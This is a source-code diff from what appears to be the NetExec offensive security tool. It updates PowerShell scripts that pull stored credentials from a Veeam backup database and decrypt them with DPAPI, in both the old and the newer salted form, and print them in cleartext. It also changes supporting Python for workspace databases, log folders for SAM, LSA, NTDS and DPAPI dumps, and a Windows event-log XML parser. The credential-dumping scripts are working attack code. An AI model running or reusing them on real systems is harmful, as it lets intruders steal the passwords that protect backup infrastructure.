@@ -22,19 +23,46 @@ catch {
|
||||
exit -1
|
||||
}
|
||||
|
||||
$rows=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($rows.count -eq 0) {
|
||||
$output=($dataset.Tables | Select-Object -Expand Rows)
|
||||
if ($output.count -eq 0) {
|
||||
Write-Host "No passwords found!"
|
||||
exit
|
||||
}
|
||||
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$rows | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
# Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
@@ -1,8 +1,9 @@
|
||||
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
|
||||
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
|
||||
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
|
||||
$b64Salt = "REPLACE_ME_b64Salt"
|
||||
|
||||
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
|
||||
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
|
||||
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
|
||||
|
||||
if ($output.count -eq 0) {
|
||||
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
|
||||
exit
|
||||
}
|
||||
|
||||
# Decrypting passwords using DPAPI
|
||||
Add-Type -assembly System.Security
|
||||
#Decrypting passwords using DPAPI
|
||||
$output | ForEach-Object -Process {
|
||||
$EnryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$EncryptedPWD = [Convert]::FromBase64String($_.password)
|
||||
$enc = [system.text.encoding]::Default
|
||||
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
|
||||
|
||||
try {
|
||||
# Decrypt password with DPAPI (old Veeam versions)
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
} catch {
|
||||
try{
|
||||
# Decrypt password with salted DPAPI (new Veeam versions)
|
||||
$salt = [System.Convert]::FromBase64String($b64Salt)
|
||||
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
|
||||
foreach ($byte in $EncryptedPWD)
|
||||
{
|
||||
$hex.AppendFormat("{0:x2}", $byte) > $null
|
||||
}
|
||||
$hex = $hex.ToString().Substring(74,$hex.Length-74)
|
||||
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
|
||||
for ($i = 0; $i -lt $hex.Length; $i += 2)
|
||||
{
|
||||
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
|
||||
}
|
||||
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
|
||||
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
|
||||
}catch {
|
||||
$pw_string = "COULD_NOT_DECRYPT"
|
||||
}
|
||||
}
|
||||
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
|
||||
$_.password = $pw_string
|
||||
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
|
||||
}
|
||||
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String
|
||||
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
|
||||
+126
-26
@@ -1,13 +1,22 @@
|
||||
import sys
|
||||
import configparser
|
||||
import ipaddress
|
||||
import shutil
|
||||
from sqlalchemy import create_engine
|
||||
from sqlite3 import connect
|
||||
import sys
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from pathlib import Path
|
||||
from threading import Lock
|
||||
|
||||
from sqlalchemy import Table, create_engine, MetaData, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
@@ -45,6 +54,22 @@ def write_configfile(config, config_path):
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def init_protocol_dbs(workspace_name, p_loader=None):
|
||||
"""Check for each protocol if the database exists, if not create it."""
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
db_engine = create_db_engine(proto_db_path)
|
||||
protocol_object.database.db_schema(db_engine)
|
||||
db_engine.dispose()
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
@@ -62,29 +87,8 @@ def create_workspace(workspace_name, p_loader=None):
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
init_protocol_dbs(workspace_name, p_loader)
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
@@ -94,4 +98,100 @@ def delete_workspace(workspace_name):
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
create_workspace("default")
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
|
||||
"""
|
||||
# the FTP and SSH protocols call the column host instead of IP
|
||||
# TODO: normalize these column names
|
||||
if hasattr(HostsTable.c, "ip"):
|
||||
ip_column = HostsTable.c.ip
|
||||
nxc_logger.debug("Using 'ip' column for filtering")
|
||||
elif hasattr(HostsTable.c, "host"):
|
||||
ip_column = HostsTable.c.host
|
||||
nxc_logger.debug("Using 'host' column for filtering")
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
q = q.filter(ip_column == filter_term)
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
return q
|
||||
|
||||
|
||||
class BaseDB:
|
||||
def __init__(self, db_engine):
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
session = scoped_session(session_factory)
|
||||
self.sess = session()
|
||||
self.lock = Lock()
|
||||
|
||||
def reflect_tables(self):
|
||||
raise NotImplementedError("Reflect tables not implemented")
|
||||
|
||||
def reflect_table(self, table):
|
||||
with self.db_engine.connect():
|
||||
try:
|
||||
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
|
||||
|
||||
# Check for column addition / deletion
|
||||
reflected_columns = set(reflected_table.columns.keys())
|
||||
orm_columns = {column.name for column in table.__table__.columns}
|
||||
if reflected_columns != orm_columns:
|
||||
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
|
||||
|
||||
# Check for constraint changes
|
||||
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
|
||||
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
|
||||
if reflected_constraints != orm_constraints:
|
||||
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
|
||||
|
||||
return reflected_table
|
||||
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
|
||||
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
|
||||
nxc_logger.debug(e)
|
||||
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
|
||||
nxc_logger.fail(f"Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)")
|
||||
nxc_logger.fail(f"Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB")
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.db_execute(table.delete())
|
||||
|
||||
def db_execute(self, *args):
|
||||
self.lock.acquire()
|
||||
res = self.sess.execute(*args)
|
||||
self.lock.release()
|
||||
return res
|
||||
+13
-8
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def first_run_setup(logger=nxc_logger):
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not exists(NXC_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(NXC_PATH)
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
folders = (
|
||||
"logs",
|
||||
"modules",
|
||||
"protocols",
|
||||
"workspaces",
|
||||
"obfuscated_scripts",
|
||||
"screenshots",
|
||||
@@ -29,13 +27,20 @@ def first_run_setup(logger=nxc_logger):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
log_subfolders = (
|
||||
"sam",
|
||||
"lsa",
|
||||
"ntds",
|
||||
"dpapi",
|
||||
)
|
||||
for subfolder in log_subfolders:
|
||||
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
|
||||
logger.display(f"Creating missing folder logs/{subfolder}")
|
||||
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
|
||||
|
||||
initialize_db()
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "nxc.conf")
|
||||
shutil.copy(default_path, NXC_PATH)
|
||||
|
||||
# if not exists(CERT_PATH):
|
||||
# if os.name != 'nt':
|
||||
# if e.errno == errno.ENOENT:
|
||||
+32
-1
@@ -1,4 +1,6 @@
|
||||
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
|
||||
from argparse import Action
|
||||
|
||||
|
||||
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
def _get_help_string(self, action):
|
||||
@@ -7,4 +9,33 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
|
||||
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
|
||||
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
|
||||
help_string += " (default: %(default)s)" # NORUFF
|
||||
return help_string
|
||||
return help_string
|
||||
|
||||
|
||||
class DefaultTrackingAction(Action):
|
||||
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
|
||||
# Store the default value to check later
|
||||
self.default_value = default
|
||||
super().__init__(
|
||||
option_strings, dest, default=default, required=required, **kwargs
|
||||
)
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
# Set an attribute to track whether the value was explicitly set
|
||||
setattr(namespace, self.dest, values)
|
||||
setattr(namespace, f"{self.dest}_explicitly_set", True)
|
||||
|
||||
|
||||
def get_conditional_action(baseAction):
|
||||
class ConditionalAction(baseAction):
|
||||
def __init__(self, option_strings, dest, **kwargs):
|
||||
x = kwargs.pop("make_required", [])
|
||||
super().__init__(option_strings, dest, **kwargs)
|
||||
self.make_required = x
|
||||
|
||||
def __call__(self, parser, namespace, values, option_string=None):
|
||||
for x in self.make_required:
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
@@ -0,0 +1,214 @@
|
||||
# SPDX-License-Identifier: GPL-2.0+
|
||||
|
||||
import struct
|
||||
import uuid
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class Substitution:
|
||||
def __init__(self, buf, offset):
|
||||
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
|
||||
self.length = 4
|
||||
|
||||
self._id = sub_id
|
||||
self._type = sub_type
|
||||
self._optional = sub_token == 0x0e
|
||||
|
||||
def xml(self, template=None):
|
||||
value = template.values[self._id]
|
||||
if value.type == 0x0:
|
||||
return None if self._optional else ""
|
||||
if self._type == 0x1:
|
||||
return value.data.decode("utf16")
|
||||
elif self._type == 0x4:
|
||||
return str(struct.unpack("<B", value.data)[0])
|
||||
elif self._type == 0x6:
|
||||
return str(struct.unpack("<H", value.data)[0])
|
||||
elif self._type == 0x8:
|
||||
return str(struct.unpack("<I", value.data)[0])
|
||||
elif self._type == 0xa:
|
||||
return str(struct.unpack("<Q", value.data)[0])
|
||||
elif self._type == 0x11:
|
||||
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
|
||||
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
|
||||
elif self._type == 0x13:
|
||||
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
|
||||
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
|
||||
iav = struct.unpack_from(">Q", value.data, 2)[0]
|
||||
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
|
||||
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
|
||||
elif self._type == 0x15 or self._type == 0x10:
|
||||
return value.data.hex()
|
||||
elif self._type == 0x21:
|
||||
return value.template.xml()
|
||||
elif self._type == 0xf:
|
||||
return str(uuid.UUID(bytes_le=value.data))
|
||||
else:
|
||||
nxc_logger.display(f"Unknown value type {hex(value.type)}")
|
||||
|
||||
|
||||
class Value:
|
||||
def __init__(self, buf, offset):
|
||||
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
|
||||
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
|
||||
self.length = 4 + length * 2
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._val
|
||||
|
||||
|
||||
class Attribute:
|
||||
def __init__(self, buf, offset):
|
||||
struct.unpack_from("<B", buf, offset)
|
||||
self._name = Name(buf, offset + 1)
|
||||
|
||||
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
|
||||
if next_token[0] == 0x05 or next_token == 0x45:
|
||||
self._value = Value(buf, offset + 1 + self._name.length)
|
||||
elif next_token[0] == 0x0e:
|
||||
self._value = Substitution(buf, offset + 1 + self._name.length)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
|
||||
|
||||
self.length = 1 + self._name.length + self._value.length
|
||||
|
||||
def xml(self, template=None):
|
||||
val = self._value.xml(template)
|
||||
return None if val is None else f'{self._name.val}="{val}"'
|
||||
|
||||
|
||||
class Name:
|
||||
def __init__(self, buf, offset):
|
||||
hashs, length = struct.unpack_from("<HH", buf, offset)
|
||||
|
||||
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
|
||||
self.length = 4 + (length + 1) * 2
|
||||
|
||||
|
||||
class Element:
|
||||
def __init__(self, buf, offset):
|
||||
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
|
||||
|
||||
self._name = Name(buf, offset + 7)
|
||||
self._dependency = dependency_id
|
||||
|
||||
ofs = offset + 7 + self._name.length
|
||||
if token == 0x41:
|
||||
struct.unpack_from("<I", buf, ofs)
|
||||
ofs += 4
|
||||
|
||||
self._children = []
|
||||
self._attributes = []
|
||||
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x06 or next_token == 0x46:
|
||||
attr = Attribute(buf, ofs)
|
||||
self._attributes.append(attr)
|
||||
ofs += attr.length
|
||||
elif next_token == 0x02:
|
||||
self._empty = False
|
||||
ofs += 1
|
||||
while True:
|
||||
next_token = buf[ofs]
|
||||
if next_token == 0x01 or next_token == 0x41:
|
||||
element = Element(buf, ofs)
|
||||
elif next_token == 0x04:
|
||||
ofs += 1
|
||||
break
|
||||
elif next_token == 0x05:
|
||||
element = Value(buf, ofs)
|
||||
elif next_token == 0x0e or next_token == 0x0d:
|
||||
element = Substitution(buf, ofs)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self._children.append(element)
|
||||
ofs += element.length
|
||||
|
||||
break
|
||||
elif next_token == 0x03:
|
||||
self._empty = True
|
||||
ofs += 1
|
||||
break
|
||||
else:
|
||||
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
|
||||
break
|
||||
|
||||
self.length = ofs - offset
|
||||
|
||||
def xml(self, template=None):
|
||||
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
|
||||
return ""
|
||||
|
||||
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
|
||||
|
||||
attrs = " ".join(attrs)
|
||||
if len(attrs) > 0:
|
||||
attrs = " " + attrs
|
||||
|
||||
if self._empty:
|
||||
return f"<{self._name.val}{attrs}/>"
|
||||
else:
|
||||
children = (x.xml(template) for x in self._children)
|
||||
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
|
||||
|
||||
|
||||
class ValueSpec:
|
||||
def __init__(self, buf, offset, value_offset):
|
||||
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
|
||||
self.data = buf[value_offset:value_offset + self.length]
|
||||
|
||||
if self.type == 0x21:
|
||||
self.template = BinXML(buf, value_offset)
|
||||
|
||||
|
||||
class TemplateInstance:
|
||||
def __init__(self, buf, offset):
|
||||
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
|
||||
if next_token == 0x0F:
|
||||
self._xml = BinXML(buf, offset + 0x16)
|
||||
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
|
||||
values_length = 0
|
||||
self.values = []
|
||||
for x in range(num_values):
|
||||
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
|
||||
self.values.append(value)
|
||||
values_length += value.length
|
||||
|
||||
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
|
||||
else:
|
||||
nxc_logger.display(f"Unknown template token {hex(next_token)}")
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._xml.xml(self)
|
||||
|
||||
|
||||
class BinXML:
|
||||
def __init__(self, buf, offset):
|
||||
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
|
||||
|
||||
if next_token == 0x0C:
|
||||
self._element = TemplateInstance(buf, offset + 4)
|
||||
elif next_token == 0x01 or next_token == 0x41:
|
||||
self._element = Element(buf, offset + 4)
|
||||
else:
|
||||
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
|
||||
|
||||
self.length = 4 + self._element.length
|
||||
|
||||
def xml(self, template=None):
|
||||
return self._element.xml(template)
|
||||
|
||||
|
||||
class ResultSet:
|
||||
def __init__(self, buf):
|
||||
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
|
||||
self._xml = BinXML(buf, 0x14)
|
||||
|
||||
def xml(self):
|
||||
return self._xml.xml()
|
||||
@@ -1,9 +1,10 @@
|
||||
import os
|
||||
from termcolor import colored
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
def write_log(data, log_name):
|
||||
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
|
||||
logs_dir = os.path.join(NXC_PATH, "logs")
|
||||
with open(os.path.join(logs_dir, log_name), "w") as log_output:
|
||||
log_output.write(data)
|
||||
|
||||
|
||||
+167
-2
@@ -1,8 +1,13 @@
|
||||
from enum import Enum
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
from time import strftime, gmtime
|
||||
|
||||
|
||||
def identify_target_file(target_file):
|
||||
@@ -22,7 +27,7 @@ def gen_random_string(length=10):
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
|
||||
@@ -40,7 +45,7 @@ def called_from_cmd_args():
|
||||
# Stolen from https://github.com/pydanny/whichcraft/
|
||||
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
"""Find the path which conforms to the given mode on the PATH for a command.
|
||||
|
||||
|
||||
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
|
||||
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
|
||||
Note: This function was backported from the Python 3 source code.
|
||||
@@ -77,3 +82,163 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
|
||||
name = os.path.join(p, thefile)
|
||||
if _access_check(name, mode):
|
||||
return name
|
||||
|
||||
|
||||
def get_bloodhound_info():
|
||||
"""
|
||||
Detect which BloodHound package is installed (regular or CE) and its version.
|
||||
|
||||
Returns
|
||||
-------
|
||||
tuple: (package_name, version, is_ce)
|
||||
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
|
||||
- version: Version string of the installed package (or None if not installed)
|
||||
- is_ce: Boolean indicating if it's the Community Edition
|
||||
"""
|
||||
import importlib.metadata
|
||||
import importlib.util
|
||||
|
||||
# First check if any BloodHound package is available to import
|
||||
if importlib.util.find_spec("bloodhound") is None:
|
||||
return None, None, False
|
||||
|
||||
# Try to get version info from both possible packages
|
||||
version = None
|
||||
package_name = None
|
||||
is_ce = False
|
||||
|
||||
# Check for bloodhound-ce first
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound-ce")
|
||||
package_name = "bloodhound-ce"
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# Check for regular bloodhound
|
||||
try:
|
||||
version = importlib.metadata.version("bloodhound")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Even when installed as 'bloodhound', check if it's actually the CE version
|
||||
if version and ("ce" in version.lower() or "community" in version.lower()):
|
||||
is_ce = True
|
||||
except importlib.metadata.PackageNotFoundError:
|
||||
# No bloodhound package found via metadata
|
||||
pass
|
||||
|
||||
# In case we can import it but metadata is not working, check the module itself
|
||||
if not version:
|
||||
try:
|
||||
import bloodhound
|
||||
version = getattr(bloodhound, "__version__", "unknown")
|
||||
package_name = "bloodhound"
|
||||
|
||||
# Check if it's CE based on version string
|
||||
if "ce" in version.lower() or "community" in version.lower():
|
||||
is_ce = True
|
||||
package_name = "bloodhound-ce"
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
return package_name, version, is_ce
|
||||
|
||||
|
||||
def detect_if_ip(target):
|
||||
try:
|
||||
ip_address(target)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def d2b(a):
|
||||
"""
|
||||
Function used to convert password property flags from decimal to binary
|
||||
format for easier interpretation of individual flag bits.
|
||||
"""
|
||||
tbin = []
|
||||
while a:
|
||||
tbin.append(a % 2)
|
||||
a //= 2
|
||||
|
||||
t2bin = tbin[::-1]
|
||||
if len(t2bin) != 8:
|
||||
for _x in range(6 - len(t2bin)):
|
||||
t2bin.insert(0, 0)
|
||||
return "".join([str(g) for g in t2bin])
|
||||
|
||||
|
||||
def convert(low, high, lockout=False):
|
||||
"""
|
||||
Convert Windows FILETIME (64-bit) values to human-readable time strings.
|
||||
|
||||
Windows stores time intervals as 64-bit values representing 100-nanosecond
|
||||
intervals since January 1, 1601. This function converts these values to
|
||||
readable format like "30 days 5 hours 15 minutes".
|
||||
|
||||
Args:
|
||||
low (int): Low 32 bits of the FILETIME value
|
||||
high (int): High 32 bits of the FILETIME value
|
||||
lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
|
||||
|
||||
Returns:
|
||||
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
|
||||
special values like "Not Set", "None", or "[-] Invalid TIME"
|
||||
"""
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
|
||||
if not lockout:
|
||||
if low != 0:
|
||||
high = abs(high + 1)
|
||||
else:
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
try:
|
||||
minutes = int(strftime("%M", gmtime(tmp)))
|
||||
hours = int(strftime("%H", gmtime(tmp)))
|
||||
